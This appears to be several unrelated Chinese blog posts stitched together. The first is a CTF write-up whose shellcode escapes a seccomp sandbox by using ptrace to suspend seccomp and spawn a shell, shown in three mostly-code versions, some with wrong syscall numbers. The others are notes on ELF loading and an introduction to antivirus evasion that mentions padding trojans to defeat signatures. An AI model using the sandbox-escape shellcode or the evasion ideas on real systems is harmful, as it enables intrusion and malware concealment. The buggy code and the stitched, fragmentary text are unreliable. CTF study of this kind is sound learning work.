所以只能另辟蹊径,一开始聚焦于io_uring的利用,但是本人没有仔细研究,所以抄了几家shellcode也就放弃了,听Qanux师傅说本地能通,但是远程不能通。回到沙盒状态,我们注意到被禁用的系统调用并不是直接kill,而是一个TRACE,这意味着如果我们可能追踪回这个进程并加以利用。

如何做?

我们需要用ptrace系统调用(系统调用号:101)去追回,下面是我们暂停seccomp所需要的request和对应的选项

PTRACE_SETOPTIONS(since Linux 2.4.6; see BUGS for caveats)

PTRACE_O_SUSPEND_SECCOMP(since Linux 4.3)选项

暂停tracee的seccomp保护。这适用于任何模式,并且可以在示踪尚未安装seccomp筛选器时使用。也就是说,一个有效的用例是在被跟踪安装之前,暂停被跟踪的seccomp保护,让被跟踪安装过滤器,然后在恢复过滤器时清除此标志。设置此选项要求跟踪器具有CAP_SYS_ADMIN功能,未安装任何seccomp保护,并且自身未设置PTRACE_O_SUSPEND_SECCOMP。

那我们的代码执行流程就有了,首先fork一个子进程,我们尝试在子进程中执行execve的代码

然后父进程wait等待子进程返回信号,如果返回信号应该是子进程的TRACEME选项起作用了,下一句就是execve的代码。父进程此时attach过去接管子进程,然后顺便把子进程的沙盒关了,那么我们此时的子进程就会执行execve不受阻拦并替代为对应的shell。

shellcode v.1

1
2
3
4
5
6
7
8
9
10
11
12
pid = fork()
if (!pid)
{//子进程
ptrace(PTRACE_TRACEME,0,0,0);
execve("/bin/sh\x00",0,0);
}else{
//父进程
waitpid(pid,0,0);
ptrace(PTRACE_ATTACH,pid,0,0)
ptrace(PTRACE_O_SUSPEND_SECCOMP,pid,0,0)
ptrace(PTRACE_CONT,pid,0,0)
}

下面是AI根据我们伪代码写的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
_start:
; fork() system call
mov rax, 57 ; syscall number for fork()
syscall
test rax, rax ; check if the result is 0
mov r15,rax
jz child_process ; jump to child process code if result is 0

parent_process:
; waitpid() system call
mov rax, 7 ; syscall number for waitpid()
mov rdi, r15 ; pid (use the pid from fork)
xor rsi, rsi ; options
xor rdx, rdx ; status
syscall

; ptrace(PTRACE_ATTACH, pid, 0, 0)
mov rax, 257 ; syscall number for ptrace()
mov rdi, 16 ; request type PTRACE_ATTACH
mov rsi, r15 ; pid
xor rdx, rdx ; address
xor r10, r10 ; data
syscall

; ptrace(PTRACE_O_SUSPEND_SECCOMP, pid, 0, 0)
mov rax, 257 ; syscall number for ptrace()
mov rdi, 0x42000003 ; request type PTRACE_O_SUSPEND_SECCOMP
mov rsi, r15 ; pid
xor rdx, rdx ; address
xor r10, r10 ; data
syscall

; ptrace(PTRACE_COUT, pid, 0, 0)
mov rax, 257 ; syscall number for ptrace()
mov rdi, 0x7; request type PTRACE_O_SUSPEND_SECCOMP
mov rsi, r15 ; pid
xor rdx, rdx ; address
xor r10, r10 ; data
syscall

; Exit
mov rax, 60 ; syscall number for exit()
xor rdi, rdi ; status
syscall

child_process:
; ptrace(TRACE_ME, 0, 0, 0)
mov rax, 257 ; syscall number for ptrace()
mov rdi, 0 ; request type TRACE_ME
xor rsi, rsi ; pid
xor rdx, rdx ; address
xor r10, r10 ; data
syscall

; execve("/bin/sh", NULL, NULL)
mov rax, 59 ; syscall number for execve()
push 0 ; NULL for envp
push 0 ; NULL for argv
mov rbx, 0x68732f6e69622f ; "/bin//sh" in reverse
push rbx ; push the address of "/bin//sh" onto the stack
mov rdi, rsp ; pointer to the argument array
syscall

; Exit if execve fails
mov rax, 60 ; syscall number for exit()
xor rdi, rdi ; status
syscall

去注释版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
    mov rax, 57
syscall
test rax, rax
mov r15, rax
jz child_process

parent_process:
mov rax, 7
mov rdi, r15
xor rsi, rsi
xor rdx, rdx
syscall

mov rax, 257
mov rdi, 16
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

mov rax, 257
mov rdi, 0x42000003
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

mov rax, 257
mov rdi, 0x7
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

mov rax, 60
xor rdi, rdi
syscall

child_process:
mov rax, 257
mov rdi, 0
xor rsi, rsi
xor rdx, rdx
xor r10, r10
syscall

mov rax, 59
push 0
push 0
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi,rsi
xor rdx,rdx
syscall

mov rax, 60
xor rdi, rdi
syscall

如果只是这样shellcode没有达到想要的结果img

因为我们的TRACEME和ATTCH实际上取得的是同一个效果,我看Qanux爷的exp,它让子进程sleep了一段时间,我们据此进行改进

shellcode v.2

实际上对子进程的监测和管理都是放在一个死循环里的,我们得往shellcode代码里面加一个死循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pid = fork()
while(1){
if (!pid)
{//子进程
nanosleep(&[5,1],0)
execve("/bin/sh\x00",0,0);
}else{
//父进程
waitpid(pid,0,0);
ptrace(PTRACE_ATTACH,pid,0,0)
ptrace(PTRACE_O_SUSPEND_SECCOMP,pid,0,0)
ptrace(PTRACE_CONT,pid,0,0)
}
}

对应的shellcode如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
    mov rax, 57
syscall
test rax, rax
mov r15, rax
jz child_process

parent_process:
mov rax, 7
mov rdi, r15
xor rsi, rsi
xor rdx, rdx
syscall

mov rax, 101
mov rdi, 16
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

monitor_child:
mov rax, 101
mov rdi, 0x42000003
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

mov rax, 101
mov rdi, 0x7
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall
jmp monitor_child

child_process:
mov rax,35
push 1
dec byte ptr [rsp]
push 5
mov rdi,rsp
xor rsi,rsi
syscall

mov rax, 59
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi,rsi
xor rdx,rdx
syscall

jmp child_process
mov rax, 60
xor rdi, rdi
syscall

img

虽然是有shell的提示但是输入指令是没有回显的,比如echo *都没有回显

shellcode v.3

再次对比Qanux的exp,发现用的是/bin/bash\x00。

然后发现wait是在PTRACE_ATTACH之后才调用的,调整下顺序,果然出了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode=asm(f"""
mov rax, 57
syscall
test rax,rax
mov r15, rax
cmp rax, 0
je child_process

parent_process:
mov rax, 101
mov rdi, 16
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

mov rax, 61
mov rdi, r15
mov rsi,rsp
xor rdx, rdx
xor r10,r10
syscall

monitor_child:
mov rax, 101
mov rdi, 0x4200
mov rsi, r15
xor rdx, rdx
mov r10, 0x00000080
syscall

mov rax, 101
mov rdi, 0x7
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

jmp monitor_child

child_process:
mov rax,35
push 1
dec byte ptr [rsp]
push 5
mov rdi,rsp
xor rsi,rsi
syscall

mov rax, 59
mov rbx,0x{order2}
push rbx
mov rbx, 0x{order1}
push rbx
mov rdi, rsp
xor rsi,rsi
xor rdx,rdx
syscall

jmp child_process

mov rax, 60
xor rdi, rdi
syscall
""")

对应的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pid = fork()
ptrace(PTRACE_ATTACH,pid,0,0)
waitpid(pid,0,0);
while(1)
{
if (!pid)
{//子进程
ptrace(PTRACE_TRACEME,0,0,0);
execve("/bin/sh\x00",0,0);
}else{
//父进程
ptrace(PTRACE_SETOPTIONS,pid,0,PTRACE_O_SUSPEND_SECCOMP)
ptrace(PTRACE_CONT,pid,0,0)
}
}

img

在Q爷文章中最后提到,给出的shell并没有ls和cat的功能,但是可以用对应代码代替

1
2
3
4
5
6
7
8
# ls
echo *

# cat flag
while IFS = read -r line;
do
echo "$line"
done < flag

最后

img

可执行文件只有装载到内存以后才能被CPU执行,早起装载基本上就是把程序从外部存储器读取到内存中某个位置。但是硬件MMU诞生,多进程,多用户,虚拟存储的操作系统,装载过程变得复杂起来。

作者介绍在ELF文件在linux下的装载过程。来为我们解答一些问题。

首先什么是进程的虚拟地址空间?

为什么进程要有自己独立的虚拟地址空间?

我们从历史的角度来看看装载的几种方式,包括覆盖装载、页映射。

接着还会介绍进程虚拟地址空间的分布情况。

6.1 进程虚拟地址空间

程序是一个静态的概念,进程是一个动态的概念。程序是一道菜谱,进程便是炒菜的一个过程。

我们知道每个程序运行起来以后,拥有自己的虚拟地址空间。其由CPU的位数决定。

硬件决定了地址空间的最大理论上限,即硬件的寻址空间大小。

32位就02^31-1,即0x000000000xffffffff,也就是4GB;而64位则64位寻址能力,即2^64字节,即17179869184GB,看似是无限的,但是实际上在未来的一段时间后,我们也会觉得这个地址不够用。

那么在32位的4GB空间中,我们程序是否可以任意使用?

很遗憾,并不可以。因为操作系统还要监管程序运行,我们要给其分配一段空间。

Linux操作系统将进程的虚拟地址空间做了如图分配

img

我们只看左边,4gb被分成了两部分,用户和内核地址。原则上说我们最多用3GB的虚拟空间,但是在现代程序中,明显这是不够用的(这里不是讲64位,而是依然是32位,虽然64位才是一本万利的选择)。PAE机制能够让我们在32位下使用超过4GB的内存空间。这点我们后面会说。

Window则2gb/2gb这样分,也可以让操作系统占用的内存空间减少到1GB,在windows系统盘根目录下的Boot.ini加个“/3g”参数

PAE

从硬件层面来讲,Inter将32位地址线拓展到36位之后,修改了页映射的,这样可以访问更多的物理地址。这个扩展方式就叫做PAE。

那么应用程序该如何使用这些大于常规的内存呢?

一个很常见的方法是窗口映射,比如一段256MB的空间(0x10000000-20000000),程序可以从高于4GB的物理空间中多申请多个大小为256MB的物理空间,编号为A,B,C,D等,然后将这个窗口映射到不同的物理块,用到A时将0x10000000~0x20000000映射到A,用到B,C再映射到B,C对应的物理地址上去。

windows下,这种访问内存的操作方式叫做AWE(address windowing Extensions);Linux则用mmap()系统调用来实现。

当然这只是一种补救措施罢了。

6.2 装载的方式

程序在装载时拥有局部性原理,如果一股脑把程序全部丢进内存,那很明显是不够用的。而且内存很贵,增加内存也是不现实的。因此我们可以把常用的部分留在内存,不常用的放在磁盘,这就是动态装入的基本原理。

覆盖装入和页映射是两种典型的装载方式,这里我们来介绍。

覆盖装入

覆盖装入在没有发明虚拟存储之前使用比较广泛,现在已经淘汰了。但是它的一些思想还是很有意义的。

在一些现代嵌入式的内存受限环境下,特别是诸如DSP等,这种方法或许还有用武之地。

覆盖装入把挖掘内存潜力的任务交给了程序员,程序员在编写程序时要把其分成若干块,然后编写一个小小的辅助代码(覆盖管理器)来管理这些模块应该何时驻留内存之中,何时被替换掉。

最简单的情况下,一个main模块会调用到模块A和模块B,但是AB之间没有相互调用的关系。假设这三个模块的大小分别为1024,512,256字节。不考虑内存对齐,装载地址限制的情况下,理论上运行这个程序需要有1792个字节的内存。此时在内存中应该这样安排。

img

由于AB之间没有相互调用的依赖关系,因此可以相互覆盖。这样就省下了一些字节。

所以程序要把这些模块手动分成一个树状结构来表示其调用依赖关系。但是要注意两点:

    1. 这个树状结构中从任意一个模块到树的根的模块都叫调用路径。调用路径上的模块必须保存在内存中,如main->A->D。
    2. 禁止跨树间调用

img

当然跨模块间的调用要经过覆盖管理器,以确保所有被调用的模块都能够驻留在内存。

覆盖装入的速度肯定还是比较慢的。

页映射

它是虚拟存储机制的一部分,由其发明而诞生。这里我们结合可执行文件的装载来阐述一下页映射是如何应用到动态装载中去的。

页映射将磁盘中数据和指令按照“页”为单位划分为若干个页。硬件规定页的大小有4096字节、8192字节、2MB、4MB等。InterA32一般使用4096字节的页。

假设我们有如下页,有16KB大小内存,这些页的大小为4KB。

img

如果我们的程序是P0~P7有32KB的程序,我们16KB空间显然无法直接装入。

假设程序刚开始执行时的入口地址在P0,这时装载管理器(假设控制装载的叫这个名字)会把F0分配给P0,然后运行一段时间需要用到其他程序的页,如P5,P3,P6,会将P5分配到F1,P3分配到F2,P6分配到F3。

img

那么此时应该占满了16KB的内存了吧。如果还要装入P4,那么装载器必须做出选择,舍弃哪个页来装入。

我们有很多算法来决定选择哪个页,比如FIFO算法,或者最少使用算法LUA。

很多人可能猜到了,这个所谓的装载器其实就是我们的操纵系统,更精确的说,是它的存储管理器。目前几乎所有主流的操作系统都是按照这种方式装载的。

6.3 从操作系统角度看可执行文件的装载。

可执行文件中的页可以被装入任意页,从上面的页映射的动态装入的方式可以看到。

如果程序使用物理地址直接进行操作,那么每次页被装入时都需要进行重定位。

在虚拟存储中,现代硬件的MMU地址都提供地址转换的功能。有了硬件的地址转换和页映射机制,操作系统动态加载和静态加载有很大区别。本节我们将站在一个操作系统的角度来看可执行文件的装载。

进程的建立

从操作系统角度看,一个进程最关键的特征是它拥有独立的虚拟地址空间。

创建一个进程,然后装载相应的可执行文件并且执行,在有虚拟存储的情况下,上述过程最开始只需要做三件事情:

  1. 创建一个独立的虚拟地址空间
  2. 读取可执行文件头,并且建立虚拟空间与可执行文件的映射关系。
  3. 将CPU的指令寄存器设置成可执行文件的入口地址,启动并运行。

创建虚拟空间

一个虚拟空间由一组映射函数将虚拟空间的页映射到物理空间,创建虚拟空间不是创建映射函数,而是创建对应的数据结构。在i386Linux下,创建虚拟空间实际上只是分配一个页目录,甚至不需要设置映射关系,这些映射关系等到后面程序发生页错误再进行设置。

感觉有点绕?听不懂?不急,后面会解释

这里是 虚拟空间映射到物理空间 的过程

建立虚拟空间和可执行文件的映射

这一步做的是虚拟空间和可执行文件的映射关系。有一个机制:当程序执行发生页错误时,操作系统从物理内存分配一个物理页,然后将此页从磁盘读取到内存中,再设置虚拟页和物理页的映射关系,这样程序才能正常的运行。那么这个机制就有一个问题,它是如何知道缺页错误的程序所需要的页在可执行文件的哪个位置?这就是可执行文件和虚拟空间的映射关系。从某种角度来看,这一步是整个装载过程中最重要的一步,也是传统意义上”装载”的过程。

可执行文件也被叫做映像文件。

考虑最简单的情况

设置可执行文件入口

第三步也是最简单的一步,操作系统通过设置CPU的指令寄存器将控制权移交给进程,然后进程开始执行。这一步看似简单,实际上在操作系统层面比较复杂,它涉及到内核堆栈和用户堆栈的切换、CPU运行权限的切换。不过从进程的角度来看这一步可以简单的认为操作系统执行了一条跳转指令。其实也就是ELF文件头保存的入口地址。

页错误

上面步骤完成后,可执行文件的指令和数据都没有装入到内存中。操作系统只是通过可执行文件头部信息建立起可执行文件和进程虚拟内存的联系罢了。

假设程序的入口是0x08048000,即刚好是.text段的起始地址,当CPU执行命令时,会发现这是个空页面,于是会产生页错误。CPU将控制权交给操作系统,操作系统通过页错误处理机制来处理,然后通过装载过程第二步建立的数据结构来找到空页面所在的VMA(虚拟内存),计算出相应页面的偏移,然后分配一个物理内存页面,建立虚拟页和分配的物理页的映射关系。

随着进程执行,页错误不断产生,程序也不断“补全”

img

6.4 进程虚存空间分布

ELF文件链接视图和执行视图

如果我们按照链接时的节(Section)一一映射成一个页的整数倍,那么浪费的内存是可想而知的。

操作系统只关心装载相关的问题,最主要的是段(Section)的权限,这些权限往往只有几种组合。

基本上是这三种

  1. 以代码段为代表的可读可执行段
  2. 以数据段和bss段为代表的可读可写段
  3. 以只读数据为代表的只读段。

对于权限相同的段,我们可以把他们合成到一个段(Segment)进行映射

(Segment)和(Section)都可以是段,但是他们是不同视图下的说法,(Section)是链接视图,(Segment)是装载执行视图

ELF可执行文件有个程序头表,用来保存(Segment)信息。

目标文件没有头表,因为它不需要被装载。而ELF可执行文件和共享库文件都有。

头表结构体

img

各个成员基本含义

img

堆和栈

做多点x86和x64的题,大概能看出点规律,这里不做总结了。

还有个很特殊的VMA叫做“vdso”,它的地址已经位于内核空间(即大于0XC0000000)的地址。

操作系统通过给进程空间划分出一个个VMA来管理进程的虚拟空间;基本原则是将相同属性、相同映像文件的映射成一个VMA,一个进程基本上可以分为如下几种VMA区域:

  1. 代码VMA,权限只读、可执行;有映像文件
  2. 数据VMA,权限可读可写,有映像文件
  3. 堆VMA,权限可读写、可执行(应该大多数不可以?);无映像文件,匿名,向上拓展
  4. 栈VMA,权限可读写,不可执行;无映像文件,匿名,向下拓展

img

堆的最大申请数量

自己实验吧hhh,现在是x64时代,可能有时候编译器会自动帮你优化了(或者是其他操作),注意一下。

段地址对齐

页是最小以映射单位。对于Intel80x86处理器来说,默认页大小为4096字节。

我们先拿一个例子来看看:

如果一个可执行文件有三个段需要装载,分别为SEG0、1、2。

如果对应起始地址为0x08048000,则如下表6.4

img

这里占据了5个页,20480字节,但是三个段总长度才12014字节,利用率才58.6%。

为了解决这个问题,有些UNIX系统采取了一个取巧的方法,就是让那些各个段接壤部分共享一个物理页面,然后将该物理页面分别映射两次(如下图)

img

img

因为段地址对齐的关系,各个段的虚拟地址就往往不是系统页面长度的整数倍了。

进程栈初始化

进程刚开始启动时,需要知道进程的一些运行环境,最基本的就是系统环境变量和进程的运行参数。很常见的一种做法就是将它们保存到栈中。

假设有如下两个环境变量

HOME=/home/user

PATH=/usr/bin

比如我们运行程序的命令行是:

1
$ prog 123

假设栈段底部地址为0xBF802000,那么进程初始化后堆栈就如图所示

img

6.5 Linux内核装载ELF过程简介

当我们在Linux系统的bash输入一个命令执行ELF程序时。

在用户层面bash进程会调用fork系统调用创建一个新的进程,然后新的进程调用execve()系统调用执行指定的ELF文件,原先的bash进程继续返回等待刚才启动的新进程结束,然后继续等待用户输入命令。

在内核中,execve系统调用相应的入口是sys_execve(),进行参数检查后会调用do_execve()。

do_execve()首先会查找被执行的文件,找到文件,则读取文件前128字节(参考ELF结构),这个函数要判断该ELF文件的格式,每种可执行文件的格式的开头几个字节都很特殊,特别是开头四个字节,常被称作魔数

  • 如果是ELF可执行文件,则头四字节为 0x7f、’e’、’l’、’f’;
  • 如果是java,则是’c’、’a’、’f’、’e’;
  • 如果是Shell脚本或者perl、python等,那么其第一行一定是”#/bin/sh”、”#!/usr/bin/perl”、”#!/usr/bin/python”

do_execve()检查之后会调用search_binary_handle()去搜索适合的可执行文件装载处理过程。

比如装载ELF的叫做load_elf_binary(),其有以下五个步骤

img

当其执行完毕后,原路返回。当其又sys_execve()返回用户态时,EIP寄存器直接跳转到ELF程序的入口地址,则ELF可执行文件装载完成。

2023/10/11日

这一章基本做一个介绍,对于一个小白来说,这个介绍写的很好,看了就很吸引人。

介绍

免杀也就是反病毒,反间谍的对立面,可以说是反-反病毒,是一个反杀毒技术。除了使木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。

免杀技术的简单原理

最初接触免杀技术,会有特征码在这一概念,作者对于特征码提出了三个问题,笔者认为这有助于我们去思考

“特征码究竟是什么?”“特征码是如何被定位出来的?”“除此之外,还有什么?”

免杀源于特征码,杀毒软件也源于特征码

特征码是什么?

它是从反病毒领域引进来的一个词,意为病毒或木马所特有的一段二进制码

反病毒公司的工作人员获得一个病毒样本,最重要的就是提取出特征码。

那么他是如何找到特征码的呢?

这里作者举了个特殊例子,我简单说明,就是从危险指令定位特征码,比如格式化所有硬盘指令,一般程序并不会执行这些指令。

杀毒软件所用的特征码都是复杂的,一般由数段特征片段加上一定逻辑判断机制组合而成。

当然我们可以有计划的向木马文件中填充垃圾信息,这样不会被定位了。

这些以后细讲。

免杀技术和其他技术的区别

免杀技术不是rootkit技术

免杀和Rootkit最终目的都是隐藏自己不被其他程序发现。Rootkit的实质是指一组非常直接的工具,免杀只是使用这组工具的方法之一

其实这里我并没有完全理解,因为我零基础,不了解rootkit技术,到时候回来补充笔记

现在免杀主要分为三种,其中一种就是行为免杀,也就是通过控制病毒木马的行为来达到躲过杀毒软件主动防御的目的。然后介绍了免杀处理技术和一种Rootkit的关系

Rootkit并不代表免杀技术,只是构成高级免杀技巧的组成部分。

免杀不是加密解密技术

  • 加密解密是针对一个程序展开研究,免杀技术任何时候都是针对两个
  • 加密解密是以某一程序为媒介所产生的技术对抗(保护者和破译人),免杀是一个程序和另一个程序的技术对抗(杀毒软件和木马)